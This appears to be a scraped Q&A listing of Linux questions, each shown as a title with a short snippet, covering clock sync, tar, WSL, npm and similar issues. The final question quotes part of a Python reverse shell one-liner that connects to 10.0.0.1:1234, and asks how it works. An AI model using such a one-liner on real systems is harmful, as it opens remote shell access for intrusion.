Category "linux"

How to know if htpdate has synchronized system clock?

On my linux system, I use ntp to synchronize the system clock. I also installed htpdate to synchronize it when ntp is not available. To know if ntp has synchron

statvfs wrong SD available size returned

I'm trying to monitor the available SD card size in a embedded linux system (petalinux). After looking for this topic around stackoverflow I learn that a good

select subdomains using print command

cat a.txt a.b.c.d.e.google.com x.y.z.google.com rev a.txt | awk -F. '{print $2,$3}' | rev This is showing: e google x google But I want this output a.b.c.d.e

Linux File Permissions Read Access to Owner

What command could I use to grant read access to the owner of the file? The current permissions are d-w-r--r--. Why is this answer correct ? chmod 644 honey_bea

Writing a putchar in Assembly for x86_64 with 64 bit Linux?

I am trying to use the write syscall in order to reproduce the putchar function behavior which prints a single character. My code is as follows, asm_putchar:

Image.FromStream throws Parameter is not valid error only on linux

I have some Unit Tests made in .net core that checks if the file which is uploaded from angular frontend is actually resized on the backend. I have a service th

Tar ignores compression level, what to do? [closed]

Im using the following command(s): GZIP=-9 tar -cf test9 directory GZIP=-5 tar -cf test5 directory GZIP=-2 tar -cf test2 directory all test*

How can I log messages from an ASP.NET Core application to a specific file on Linux?

I installed an ASP.NET Core application as a Linux daemon. By default .NET writes logs into /var/log/message but I would like the application to write its logs

Tar ignores compression level, what to do? [closed]

Im using the following command(s): GZIP=-9 tar -cf test9 directory GZIP=-5 tar -cf test5 directory GZIP=-2 tar -cf test2 directory all test*

You'll need to upgrade to a newer Node.js version in order to use this version of npm. But Node version is greater than v10

Here is my command line I already have node version higher than the specified 10.24.1 but still gives me this error. Not really sure what is the issue here. I a

In android how to find what /dev/input/event* is used for touchscreen using c function

I am trying to read touchscreen event, in my device /dev/input/event4 is used for touchscreen, while in some other phone, event7 is used for touchscreen. I am l

Can anyone explain how to use OpenACC in GCC?

I am using WSL Ubuntu. And use GCC to compile my C++ code. I am trying to use OpenACC to parallelize my code. I heard that I can use OpenACC with GCC. So after

How to print tree from dictionary in python

I am trying to implement ldd kind of application in python. However, I am struggling to represent the data as a tree like structure. The linux libraries are dep

numpy and cv2, no modules available after installation via pip on linux

I installed opencv and numpy using pip on debian 11.2 with python 3.9. In visual studio the modules aren't available and terminal returns: Traceback (most recen

Docker Build using CA Trust Bundle from Host

Given a simple Dockerfile that installs from something from the net, I'm trying to work out an elegant way to allow the build process to trust HTTPS endpoints w

Rust nightly not installed, please install it

I was able to build and run substrate-node-template from the instructions from the cloned repo, following the instructions at https://substrate.dev/docs/en/tuto

How to concatenate variables and strings as a full path for the "output file" of an ffmpeg command in a bash script

I'm trying to learn to bash scripting and I tried to use variables and arguments, etc. to specify a complex output file name to a ffmpeg command as follows : fo

How can I run a dotnet application in the background using sudo on Linux? [duplicate]

I am experiencing some weird problems that I'm not sure how to solve. I am using CodeDeploy to deploy my applications to an AWS EC2 instance,

WSL, Running linux commands with "wsl --exec <cmd>" or "wsl -- <cmd>"

wsl -h shows the following: --exec, -e <CommandLine> Execute the specified command without using the default Linux shell. -- Pass the remainin

How does a Python reverse shell one-liner work?

Consider: python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(